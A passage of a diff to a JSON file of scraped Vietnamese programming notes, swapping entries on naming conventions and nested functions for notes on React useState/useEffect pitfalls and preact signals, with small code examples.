incomplete since it's off the top of my head)_:\r\n\r\n- closures\r\n- function factory (programmatic function creation based on parameters)\r\n- creating functions by calling functool.partial\r\n- creating functions by using lambda\r\n- any other reasons you need to create functions during call time\r\n\r\nTrade-offs:\r\n\r\n- functions are strongly coupled\r\n- the code is always called (unless it's in an if block)\r\n- additional code complexity\r\n- additional runtime cost _(potentially, because the inner function get's re-defined with every call to the outer function)_\r\n- much harder to extend\r\n- much harder to introspect on the inner function defintion\r\n\r\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [When to use python function nesting?](https://softwareengineering.stackexchange.com/a/237944/192731)\r\n", + "Toàn bộ nội dung": "I suggest reading the caveats [in the documentation](https://react.dev/reference/react/useState#usestate). An unconditional state setter call in a component function is always a bad idea, whether with a string or something else, and it isn't _always_ guaranteed React won't call the component function again as a result, even when you call it with the same value, though it usually won't.\r\n```js\r\nconsole.log(\"a\" === \"a\");\r\nconsole.log({ x : \"a\" } === { x : \"a\"}); //Why is this false when above is true\r\n```\r\n\r\n```javascript\r\nsetState(prev => {\r\n if (prev.keyOne === true && prev.keyTwo === 'someKey') {\r\n return prev; // Same object, so render is skipped\r\n } else {\r\n return { keyOne: true, keyTwo: 'someKey' };\r\n }\r\n});\r\n```\r\n\r\nIf you have some favorite library for checking deep equality (Eg, [lodash](https://lodash.com/docs/4.17.15#isEqual) or [ramda](https://ramdajs.com/docs/#equals)), you could shorten it to something like the following. This will be particularly useful if there are a lot of properties you would otherwise need to check:\r\n\r\n```javascript\r\nsetState(prev => {\r\n const next = { keyOne: true, keyTwo: 'someKey' };\r\n return R.equals(prev, next) ? prev : next;\r\n});\r\n```\r\nNguồn:: [Why is React rerendering the component when the states are the same?](https://stackoverflow.com/a/73808292/3416774)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "W4" + "id": "Zo" }, { - "Tiêu đề": "Việc chia các lệnh trong kịch bản thành các hàm nhỏ hơn sẽ giúp dễ bắt lỗi hơn", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Đơn nhiệm/Việc chia các lệnh trong kịch bản thành các hàm nhỏ hơn sẽ giúp dễ bắt lỗi hơn", + "Tiêu đề": "Phải viết hook trong component. Không viết trong loop hoặc if được", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/Phải viết hook trong component. Không viết trong loop hoặc if được", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Mỗi lớp, hàm, mô đun chỉ đảm nhiệm một nhiệm vụ xác định]]", + "Toàn bộ nội dung": "Nguồn:: [useState – React](https://react.dev/reference/react/useState#usestate)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "W5" + "id": "Zp" }, { - "Tiêu đề": "Quy ước đặt tên biến", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Quy ước đặt tên biến", + "Tiêu đề": "Trong useEffect chỉ dùng được promise, không dùng async được", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/Trong useEffect chỉ dùng được promise, không dùng async được", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Kiểu viết\r\n| Kiểu viết | Ý nghĩa | Ví dụ |\r\n| ---------- | --------------------------------------------- | ----------------------- |\r\n| ALL_CAP | Hằng | `SỐ_PI` |\r\n| snake_case | Tên file. Riêng với Python thì là cả tên biến | `tên_file.js` |\r\n| kebab-case | URL | `https://đường-dẫn-url` |\r\n| camelCase | Biến, hàm, phương thức | `vậtThể` |\r\n| PascalCase | Lớp, kiểu, giao diện | `VậtThể` |\r\n\r\n# Tiền tố\r\n| Tiền tố | Ý nghĩa | Ví dụ |\r\n| ------------- | -------------------------- | ------------------ |\r\n| động từ | Hàm | `runFunction()` |\r\n| động từ to be | Biến boolean | `isTrue` |\r\n| `_` | Biến riêng (private/local) | `_privateMethod()` |\r\n| `$` | Dùng trong jQuery | `$_` |\r\n| `I` | Interface | `IString` |\r\n| `T` | Type | `TData` |\r\n\r\nTrong trường hợp `I` và `T` thì chúng được gọi là ký hiệu Hungary (Hungarian notation). Ngày xưa thì nó hữu ích, nhưng với những IDE mới hơn thì nó không còn cần thiết nữa. Dù vậy vẫn nên biết để có thể đọc code của người khác. \r\n\r\nTuy nhiên có hai loại ký hiệu Hungary. Loại ở trên gọi là Hungary hệ thống, là thứ không còn được khuyến khích. Còn với loại Hungary app thì vẫn hữu ích. Để phân biệt được chúng và hiểu được tại sao có thể xem bài [Making Wrong Code Look Wrong – Joel on Software](https://www.joelonsoftware.com/2005/05/11/making-wrong-code-look-wrong/)\r\n\r\n[[freeCodeCamp]], [Snake Case VS Camel Case VS Pascal Case VS Kebab Case – What's the Difference Between Casings?](https://www.freecodecamp.org/news/snake-case-vs-camel-case-vs-pascal-case-vs-kebab-case-whats-the-difference/)\r\n[[Viblo]], [Bàn về quy cách đặt tên (Naming Convention)](https://viblo.asia/p/ban-ve-quy-cach-dat-ten-naming-convention-3P0lPyem5ox)\r\n\r\n[[Việc đặt tên không có tiền tố gì sẽ tiện khi nó thường được dùng thường xuyên ở những nơi khác, ở trong một danh sách, hoặc khi dùng để liệt kê các thuộc tính]]", + "Toàn bộ nội dung": "### Cách sử dụng sai\r\n\r\n```javascript\r\n// ❌ không nên dùng\r\nuseEffect(async () => {\r\n const data = await fetchData();\r\n}, [fetchData])\r\n```\r\n\r\nNếu bạn viết dòng code trên, Linter sẽ báo lỗi ngay lập tức. Vấn đề ở đây là tham số đầu tiên của useEffect phải là 1 hàm trả về **undefined** hoặc là 1 hàm xóa side-effects. Trong khi đó, hàm async lại trả về một promise chứ không phải là function.\r\n\r\n### Cách giải quyết\r\n```javascript\r\nuseEffect(() => {\r\n // khi báo hàm lấy data\r\n async function fetchData() => {\r\n const data = await fetch('https://yourapi.com');\r\n }\r\n\r\n // gọi hàm\r\n fetchData()\r\n // bắt lỗi\r\n .catch(console.error);\r\n}, [])\r\n```\r\nCần xử lý gì thì cứ nhét hết vào `fetchData`. Ở dưới chỉ gọi mỗi hàm thôi.\r\nNguồn:: https://techmaster.vn/posts/37327/cach-su-dung-ham-async-trong-useeffect-co-vi-du\r\n\r\n[[Dùng fetch dạng promise chứ đừng await trong component]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "W6" + "id": "Zq" }, { - "Tiêu đề": "toString hoặc href sẽ luôn thêm slash vào sau", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/toString hoặc href sẽ luôn thêm slash vào sau", + "Tiêu đề": "useEffect được sinh ra là để side effect không tự động chạy mỗi khi component được render", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/useEffect được sinh ra là để side effect không tự động chạy mỗi khi component được render", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: \r\n[[String(x) giống x.tostring(), nhưng không gây ra lỗi nếu x là null hoặc undefined]]] ] ", + "Toàn bộ nội dung": "`side-effect` có thể hiểu là một khái niệm miêu tả các tính toán bên trong một hàm ảnh hưởng đến các đối tượng bên ngoài không thông qua đối số. Mình cho một ví dụ như thế này\r\n\r\n```jsx\r\nlet a = 10;\r\n\r\nfunction calculate() {\r\n a++;\r\n}\r\n\r\n// Lúc này a sẽ bằng 11 chứ không phải bằng 10 \r\n// Khi hàm cal() được invoke, nó đã tác động đến biến bằng cách + lên 1 đơn vị mà không thông qua cách truyền tham số\r\n// Đây tạm gọi là side-effect\r\ncalculate(); // a = 11; \r\n```\r\n\r\nTrích từ:: [Tìm hiểu về React hook useEffect - Codestus.com](https://codestus.com/posts/tim-hieu-ve-react-hook-useeffect)\r\n\r\n---\r\n\r\nMột component React sử dụng các props và/hoặc state để tính toán kết quả đầu ra. **Nếu component thực hiện các tính toán không nhắm mục đích là giá trị đầu ra, thì các tính toán này được đặt tên là side effect**.\r\n\r\nVí dụ về các `side effect` là lấy data, thao tác DOM trực tiếp, sử dụng các hàm hẹn giờ như setTimeout (), v.v.\r\n\r\n**Component rendering và logic của `side effect` là độc lập. Sẽ là một sai lầm nếu thực hiện các `side effect` trực tiếp trong phần thân của Component , vốn chủ yếu được sử dụng để tính toán kết quả đầu ra**.\r\n\r\nTần suất hiển thị của component không phải là điều bạn có thể kiểm soát - nếu React muốn hiển thị component, bạn không thể dừng nó. \r\n\r\n```js\r\nfunction Greet({ name }) {\r\n const message = `Hello, ${name}!`; // Calculates output\r\n // Bad!\r\n document.title = `Greetings to ${name}`; // Side-effect!\r\n return <div>{message}</div>; // Calculates output\r\n}\r\n```\r\n\r\nLàm thế nào để tách rendering khỏi `side effect`? Hãy dùng \r\n`useEffect()` - hook chạy các `side effect` độc lập với việc rendering. \r\n\r\n```jsx\r\nimport { useEffect } from 'react';\r\nfunction Greet({ name }) {\r\n const message = `Hello, ${name}!`; // Calculates output\r\n useEffect(() => {\r\n // Good!\r\n document.title = `Greetings to ${name}`; // Side-effect!\r\n }, [name]);\r\n return <div>{message}</div>; // Calculates output\r\n}\r\n```\r\n\r\n`useEffect()` hook chấp nhận 2 đối số: `useEffect(callback[, dependencies]);`\r\n- `callback` là hàm chứa logic của `side effect`. `callback` được thực thi ngay sau khi các thay đổi được đẩy vào DOM.\r\n- `dependencies` là một mảng tùy chọn của các `dependencies` . `useEffect()` chỉ thực thi lệnh gọi lại nếu các `dependencies` thay đổi giữa các lần hiển thị.\r\n\r\n> Đặt logic của side effect vào hàm callback, sau đó sử dụng đối số dependencies để kiểm soát thời điểm bạn muốn side effect chạy. Đó là mục đích duy nhất của useEffect().\r\n\r\n[![Image 1](https://res.cloudinary.com/practicaldev/image/fetch/s--NH2FkXJU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/22swjdpn18jt1w900zsn.PNG)](https://res.cloudinary.com/practicaldev/image/fetch/s--NH2FkXJU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/22swjdpn18jt1w900zsn.PNG)\r\n\r\nVí dụ: trong đoạn code trước đó, bạn đã thấy `useEffect()` đang hoạt động: \r\n\r\n```jsx\r\nuseEffect(() => {\r\n document.title = `Greetings to ${name}`;\r\n}, [name]);\r\n```\r\n\r\nCập nhật tiêu đề document là `side effect` vì nó không trực tiếp tính toán kết quả đầu ra của component. Đó là lý do tại sao cập nhật tiêu đề document được đặt trong một hàm callback và được cung cấp cho `useEffect()`.\r\n\r\nNgoài ra, bạn không muốn bản cập nhật tiêu đề document thực thi mỗi khi component Greet hiển thị. Bạn chỉ muốn nó được thực thi khi prop name thay đổi - đó là lý do bạn cung cấp tên làm dependency cho `useEffect (callback, [name])`.\r\n\r\n### 2. Đối số Dependencies\r\n\r\nĐối số `Dependencies` của `useEffect(callback, dependencies)` cho phép bạn kiểm soát thời điểm **side effect** chạy. Khi `Dependencies` là:\r\n\r\n#### A) Không có: Side effect chạy sau mỗi lần rendering\r\n\r\n```jsx\r\nimport { useEffect } from 'react';\r\nfunction MyComponent() {\r\n useEffect(() => {\r\n // Runs after EVERY rendering\r\n }); \r\n}\r\n```\r\n\r\n#### B) Array rỗng []: side-effect chạy một lần sau lần hiển thị đầu tiên.\r\n\r\n```jsx\r\nimport { useEffect } from 'react';\r\nfunction MyComponent() {\r\n useEffect(() => {\r\n // Runs ONCE after initial rendering\r\n }, []);\r\n}\r\n```\r\n\r\n#### C) Có props hoặc state [prop1, prop2, ..., state1, state2]: side-effect chỉ chạy khi bất kỳ giá trị phụ thuộc nào thay đổi.\r\n\r\n```jsx\r\nimport { useEffect, useState } from 'react';\r\nfunction MyComponent({ prop }) {\r\n const [state, setState] = useState('');\r\n useEffect(() => {\r\n // Runs ONCE after initial rendering\r\n // and after every rendering ONLY IF `prop` or `state` changes\r\n }, [prop, state]);\r\n}\r\n```\r\n\r\nTrích từ:: [Giải thích đơn giản về React.useEffect () - DEV Community](https://dev.to/buiminh15/giai-thich-don-gian-ve-reactuseeffect--2k4f)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "W7" + "id": "Zr" }, { - "Tiêu đề": "Việc biến đổi dữ liệu chủ yếu là để người dùng đọc cho tiện, và để máy kiểm tra dữ liệu", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Việc biến đổi dữ liệu chủ yếu là để người dùng đọc cho tiện, và để máy kiểm tra dữ liệu", + "Tiêu đề": "effect khác computed ở chỗ một cái có return, một cái không có return", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Signal/effect khác computed ở chỗ một cái có return, một cái không có return", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Dạng vật thể thường là tiện cho người, dạng mảng thường là tiện cho máy\r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "W8" + "id": "Zs" }, { - "Tiêu đề": "Việc đặt tên không có tiền tố gì sẽ tiện khi nó thường được dùng thường xuyên ở những nơi khác, ở trong một danh sách, hoặc khi dùng để liệt kê các thuộc tính", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Việc đặt tên không có tiền tố gì sẽ tiện khi nó thường được dùng thường xuyên ở những nơi khác, ở trong một danh sách, hoặc khi dùng để liệt kê các thuộc tính", + "Tiêu đề": "Signal chỉ render lại mỗi phần tử HTML chứa giá trị của nó", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Signal/Signal chỉ render lại mỗi phần tử HTML chứa giá trị của nó", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Liệt kê thuộc tính\r\n```js\r\nconst {\r\n\tURL: url,\r\n\t\"Tên nơi đăng\": tênNơiĐăng,\r\n\t\"Loại nơi đăng\": loạiNơiĐăng,\r\n\t\"Tên nền tảng\": tênNềnTảng,\r\n\t\"Mô tả nơi đăng\": môTảNơiĐăng,\r\n\t\"Loại nền tảng\": loạiNềnTảng,\r\n\t\"Vị trí\": vịTrí,\r\n} \r\n```\r\n## Nằm trong một danh sách\r\n```ts\r\nconst danhSáchNơiĐăng: NơiĐăng[] = [...] \r\nfor (const nơiĐăng of danhSáchNơiĐăng) \r\n```\r\n## Dùng thường xuyên ở nơi khác\r\nTại script `a.js` ta có như sau:\r\n```js\r\nconst cấuHình = {\r\n\tvịTrí: vậtThểVịTrí\r\n\tnơiĐăng: nơiĐăng\r\n} \r\n```\r\nDo `nơiĐăng` chủ yếu dùng ở ngoài script này nên nó không có tiền tố `vậtThể` trong tên biến. Ngược lại, `vậtThểVịTrí` chủ yếu được dùng trong script này, và bản thân nó cũng cần phải dùng cả key `vịTrí`, nên để phân biệt key với value của entry này thì đặt như vậy cho dễ phân biệt.\r\n\r\nVì để mặc định của không có tiền tố gì là `vậtThể`, nên nếu nó là cấu hình thì nên có tiền tố\r\n\r\n## Khi nào thì dùng `vậtThể`\r\n- Khi bỏ đi thì không phải là danh từ. VD, đặt tên là `tiếpThị` thì hơi không lọt. `vậtThểTiếpThị` nghe ổn hơn\r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n\r\n## Có viết in hoa các ký tự viết tắt khi dùng camelCase không?\r\nCác biến mặc định thì vẫn có làm vậy. VD: `URL`, `HTMLDocument` Nhưng vì có thể dễ bị lầm với cái mặc định nên có thể viết thường để đỡ phải tìm cách nghĩ một tên biến khác. \r\nVấn đề là, chính vì JS đã dùng `URL` rồi, nên các url của mình mà nếu đặt in hoa hết thì sẽ bị trùng, nên không làm vậy được. Nên đành phải dùng `url`. `Url` là để dành cho kiểu, VD: \r\n```ts\r\ntype Url = URL | string\r\n```\r\n\r\nTên có URL hiểu là trả về kiểu URL luôn.", + "Toàn bộ nội dung": "It is important because signals are reactive, meaning they need to keep track of who is interested in the state and notify subscribers of state changes. This is achieved by observing the context in which the state-getter is invoked, which creates a subscription.\r\n\r\nIn contrast, `useState()` in React returns only the state-value, meaning it has no idea how the state-value is used and must re-render the whole component tree in response to state changes.\r\nNguồn:: [useSignal() is the Future of Web Frameworks](https://www.builder.io/blog/usesignal-is-the-future-of-web-frameworks)\r\n\r\n---\r\n\r\n# Đơn giản hoá quản lý state với preact-signal\r\n\r\n# 1. Quản lý State trong react và những bất lợi\r\n\r\n- Khi xây dựng ứng dụng Front-end, việc quản lý trạng thái (state) là không thể thiếu. Trạng thái đại diện cho những dữ liệu mà ứng dụng theo dõi và hiển thị cho người dùng. React giúp đơn giản hóa quá trình này bằng cách cung cấp các Hooks như useState, useEffect, và useMemo.\r\n- Do useState() trả về value và setter nên nó sẽ không thể biết value cụ thể được sử dụng ở đâu trong component. Điều này có nghĩa là sau khi gọi setter, React sẽ không biết được phần nào của component đã thay đổi để cập nhật, do đó nó sẽ phải re-render cả component. Dự án càng lớn, component càng lớn thì sẽ càng tốn thời gian re-render.\r\n- Một vấn đề khác rất hay gặp phải là trường hợp nhiều component cùng truy cập đến cùng 1 state nhất định. Với useState(), chúng ta sẽ phải sử dụng kỹ thuật \"lifting state up\" (tức là chuyển nơi khai báo state đến component cha gần nhất chứa các component cần sử dụng state trên, sau đó truyền state xuống các component con thông qua properties) \r\n Cùng xem ví dụ sau về 1 app hiển thị ảnh động vật dưới đây:\r\n\r\n```tsx\r\n// Container.tsx\r\nconst Container: React.FC = () => {\r\n const [generating, setGenerating] = useState(false);\r\n const [result, setResult] = useState<Image[]>([]);\r\n return (\r\n <div className={styles.container}>\r\n <Form generating={generating} result={result} setResult={setResult}\r\n setGenerating={setGenerating}\r\n />\r\n <Result result={result} setResult={setResult} generating={generating} />\r\n </div>\r\n );\r\n};\r\n```\r\n\r\n_Container chứa 2 component trên trang_ \r\n \r\n\r\n```tsx\r\n// Result.tsx\r\nconst Result: FC<Props> = ({ generating, result = [], setResult }) => {\r\n const [mainImgIndex, setMainImgIndex] = useState<number>(0);\r\n return (\r\n <div className={classNames(styles.result, styles.right)}>\r\n <section className={styles.mainImg}>\r\n {generating ? <FcProcess className={styles.icon} size={40} />\r\n : result.length > 0 && <img src={getImageURL(result[mainImgIndex].url)} alt=\"image\" />}\r\n </section>\r\n <section className={styles.subImgs}>\r\n {result?.map((image, index) => (<img\r\n key={index}\r\n src={getImageURL(image.url)}\r\n onClick={() => changeMainImg(index)}\r\n />))}\r\n </section>\r\n </div>\r\n );\r\n};\r\n```\r\n\r\n_Trong Result thì đơn giản chỉ là hiện các ảnh đã gen_ \r\n \r\n\r\n```tsx\r\n//Form.tsx\r\nconst Form: FC<Props> = ({ generating, result, setResult, setGenerating }) => {\r\n const [input, setInput] = useState(\"\");\r\n const handleSubmit = async () => {\r\n setGenerating(true);\r\n const data = await generateImage(input);\r\n setResult((prev) => prev.concat({ id: data.id, url: data.url }));\r\n setGenerating(false);\r\n };\r\n useEffect(() => {console.log(result)}, [imageCount]);\r\n return (\r\n <fieldset className={styles.form} disabled={generating}>\r\n <label className={styles.label} htmlFor=\"promptInput\">Enter Animal</label>\r\n <Textarea value={input} onChange={(e) => setInput(e.target.value)} />\r\n <Button className={styles.submitButton} onClick={handleSubmit}>\r\n {generating ? <FcSynchronize /> : <FcServices />} Submit\r\n </Button>\r\n </fieldset>\r\n );\r\n };\r\n```\r\n\r\n_Form nhập tên con vật muốn generate_ \r\n \r\n\r\n![result img](https://images.viblo.asia/eca86ac6-77ab-4e86-ab0f-eb1b98f103b5.png)\r\n\r\nĐây là 1 ví dụ đơn giản về việc \"lifting state up\". State sẽ được khởi tạo trong component cha gần nhất chứa các component dùng state đó, sau đó sẽ truyền value và setter xuống các component con để chúng sử dụng. Trong các dự án thực tế rất có thể còn nhiều hơn nữa các component trung gian nằm giữa component Container và Result. Việc truyền state qua trung gian thực sự là một cơn ác mộng; hơn nữa, mỗi khi state được thay đổi, component khởi tạo state và tất cả component nằm dưới nó trong DOM đều sẽ phải re-render.\r\n\r\n# 2. Giới thiệu về preact-signal\r\n\r\nVì những vấn đề trên, mình có thử tìm hiểu các thư viện thay thế, và mình tìm thấy preact-signal, nó giúp mình giải quyết các vấn đề trên. Cụ thể preact-signal là gì? Signal giúp đơn giản hóa quá trình quản lý state. Khác biệt mấu chốt ở đây là thay vì trả về value và setter, signal sẽ trả về getter và setter, getter sẽ giúp signal biết nơi nào đang sử dụng state, và khi giá trị thay đổi, những nơi gọi getter đó sẽ được tính toán lại mà không cần re-render lại cả component. Signal trả về 1 object với thuộc tính .value chứa giá trị của state, nó vừa có thể lấy giá trị ra (getter) và cũng có thể dùng để gán lại giá trị cho state (setter) (như 1 object thông thường).\r\n\r\n## 2.1. Cài đặt và sử dụng\r\n\r\nTuỳ vào công nghệ dự án sử dụng mà cần cài package Signal phù hợp. Đối với dự án React, ta cần thêm package [@preact](https://viblo.asia/u/preact)/signals-react\r\n\r\n```tsx\r\nnpm install @preact/signals-react\r\nhoặc\r\nyarn add @preact/signals-react\r\n```\r\n\r\n_Ta sẽ sử dụng signal và sửa lại component Form phía trên 1 chút:_\r\n\r\n```tsx\r\n // const [input, setInput] = useState(\"\");\r\n const inputSignal = useSignal(\"\");\r\n console.log(\"check re-render\", inputSignal);\r\n```\r\n\r\n_useSignal() dùng để khởi tạo state và “” là giá trị mặc định khi khởi tạo._\r\n\r\n```\r\n // value={input}\r\n // onChange={(e) => setInput(e.target.value)}\r\n value={inputSignal}\r\n onChange={(e) => (inputSignal.value = e.target.value)}\r\n```\r\n\r\n_Mỗi khi nhập 1 ký tự, ta sẽ update lại giá trị cho state_\r\n\r\nVà đây là kết quả\r\n\r\n![](https://images.viblo.asia/fdf96c10-3c3f-49aa-8ccc-4f9682c58338.png)\r\n\r\n_console.log(\"check re-render\", inputSignal); không chạy mỗi khi nhập 1 ký tự do component không cần re-render._ \r\n \r\nTiếp theo là đến vấn đề truy cập cùng 1 state giữa các component ở các vị trí khác nhau. Signal cho phép chúng ta khai báo state ở cả bên trong hoặc bên ngoài component, do đó muốn các component khác truy cập tới thì ta chỉ cần đơn giản là khai báo state ở ngoài component rồi export nó ra như biến hoặc function thông thường thôi. \r\nĐể khai báo state ngoài component, ta dùng method signal(),\r\n\r\n```tsx\r\n//Container.tsx\r\nimport { signal } from \"@preact/signals-react\";\r\nexport const generating = signal(false);\r\nexport const result = signal<Image[]>([]);\r\nconst Container: React.FC = () => {\r\n return (\r\n <div className={styles.container}><Form /><Result /></div>\r\n );\r\n};\r\n```\r\n\r\nTa cũng có thể đưa các khác báo signal ra các file riêng để quản lý chúng dễ dàng hơn.\r\n\r\n_Form.tsx và Result.tsx ta chỉ cần import signal như biến thông thường_\r\n\r\n`import { generating, result } from \"../Container\";`\r\n\r\nĐơn giản đúng không nào? Việc này còn giúp các component không thực sự sử dụng state (Container) sẽ không phải re-render khi state đó thay đổi.\r\n\r\n## 2.2. Một số ứng dụng khác\r\n\r\nNgoài ra, preact-signal còn cung cấp thêm một số method khác cũng hữu ích không kém:\r\n\r\n### Computed\r\n\r\n**computed()**: khởi tạo một signal mới được tính toán (computed) dựa trên giá trị của các signal khác. Computed signal cũng trả về 1 object nhưng ở dạng read-only và giá trị của nó sẽ được tự động cập nhật khi 1 trong các signal khác mà nói sử dụng được cập nhật (khá giống với useMemo() của React nhưng không cần truyền mảng dependencies vì computed() sẽ tự detect chúng). const count = signal(0); const addition = signal(2); const double = computed(() => count.value * 2 + addition.value);\r\n\r\nTrong trường hợp ta không muốn double update khi addition thay đổi, ta có thể sử dụng addition.peek() để lấy giá trị mà không cần lắng nghe sự thay đổi của nó. Nhưng tất nhiên việc này rất hiếm khi xảy ra, vì hầu hết ta đều muốn state update khi phụ thuộc của nó thay đổi.\r\n\r\n### Effect\r\n\r\n**effect()**: thực hiện 1 function nào đó khi các signal được sử dụng bên trong function thay đổi (tương tự useEffect() và cũng không cần truyền mảng dependencies).\r\n\r\n```tsx\r\nconst count = signal(0);\r\neffect(() => console.log(`Count value has change to ${count.value}`));\r\n```\r\n\r\nTương tự như computed(), chúng ta cũng có thể sử dụng .peek() để từ chối lắng nghe sự thay đổi của dependency signal. effect() sẽ không return signal, mà nó sẽ trả về 1 function tự huỷ chính nó (unsubscribe). Nghĩa là khi function tự huỷ được gọi đến thì effect() của n sẽ không tự động chạy khi có dependency signal thay đổi nữa.\r\n\r\n```tsx\r\nconst count = signal(0);\r\nconst double = computed(() => count.value * 2);\r\nconst dispose = effect(() => {\r\n if (count.value === 3) {\r\n console.log(\"Count reached 3\");\r\n dispose();\r\n }\r\n console.log(\"Count current\", count.value);\r\n});\r\nconst Test: React.FC = () => {\r\n console.log(\"Double current\", double.value);\r\n return (\r\n <div>\r\n <button onClick={() => count.value++}>Increment</button>\r\n <div>Count: {double}</div>\r\n </div>\r\n );\r\n};\r\n```\r\n\r\nKết quả:\r\n\r\n![](https://images.viblo.asia/3bd256cb-5af1-4554-83e6-5a201b54f1d4.png)\r\n\r\n_Ta có thể thấy khi count = 3, function trong effect sẽ không được gọi nữa_\r\n\r\n# Kết luận\r\n\r\nSignal là một cách khác để lưu trữ state trong ứng dụng, thay vì trả về một giá trị và một hàm setter, signal trả về một hàm getter và một hàm setter. Từ hàm getter, signal có thể biết ngay được component nào đang sử dụng trạng thái và phản ứng lại cho chúng 1 cách nhanh chóng mà không cần phải để dev khai báo các dependencies.\r\n\r\nHy vọng sau bài viết này các bạn sẽ nhận thấy rằng việc sử dụng signal có thể giúp đơn giản hóa quá trình quản lý trạng thái trong ứng dụng và tạo ra một trải nghiệm phát triển (D", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "W9" + "id": "Zt" }, { - "Tiêu đề": "Các ký tự đặc biệt trong các ngôn ngữ khác nhau", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Các ký tự đặc biệt trong các ngôn ngữ khác nhau", + "Tiêu đề": "Signal giúp giải quyết các vấn đề do useState hoặc Context tạo ra", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Signal/Signal giúp giải quyết các vấn đề do useState hoặc Context tạo ra", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Ký tự | JavaScript | Python | Git | PowerShell | AutoHotKey | CSS | CMD | SQL | Bash | LaTeX |\n| ------------------- | ----------------- | --------------- | --------------------------------- | --------------------------------------------------------- | ------------ | ----------------------------- | ------- | --- | ---- | ----- |\n| Dấu nháy kép `\"` | Verbatim string | Verbatim string | | Chuỗi có thể chèn chuỗi khác vào được (expandable string) | | | | | | |\n| Dấu nháy đơn `'` | Verbatim string | Verbatim string | | Chuỗi có sao ghi vậy (verbatim string) | | | | | | |\n| Dấu backtick ` `` ` | Expandable string | | | Thoát khỏi ký tự đặc biệt, ngắt dòng | | | | | | |\n| Dấu đô la `$` | | | | `$biến`, `$env:path` | | | | | | |\n| Dấu phần trăm `%` | | | | `ForEach-Object` | `%biến%` | | `%biến` | | | |\n| Dấu chéo `\\` | | | | | | | | | | |\n| Dấu chéo ngược `/` | | | | | | | | | | |\n| Dấu sao `*` | | | | | | | | | | |\n| Dấu a còng `@` | | | [[HEAD là commit hiện tại\\|HEAD]] | Chèn nhiều tham số vào cùng lúc (splatting) | | Scope | | | | |\n| Dấu thăng `#` | | | | `# comment`. Mẹo: dùng `##` ở trên function | `#directive` | | | | | |\n| Dấu chấm phẩy `;` | | | | | `; comment` | | | | | |\n| Dấu gạch đứng `\\|` | | | | Pipe | | | | | | |\n| Dấu chấm hỏi `?` | | | | `Where-Object` | | | | | | |\n| Dấu lớn hơn `>` | | | | | | Child combinator | | | | |\n| Dấu cộng `+` | | | | | | Next-sibling combinator | | | | |\n| Dấu ngã `~` | | | | | | Subsequent-sibling combinator | | | | |\n| Ký tự | JavaScript | Python | | PowerShell | AutoHotKey | CSS | CMD | SQL | Bash | LaTeX |\n\n\n\nƯu tiên dấu nháy đơn `'` hơn là nháy 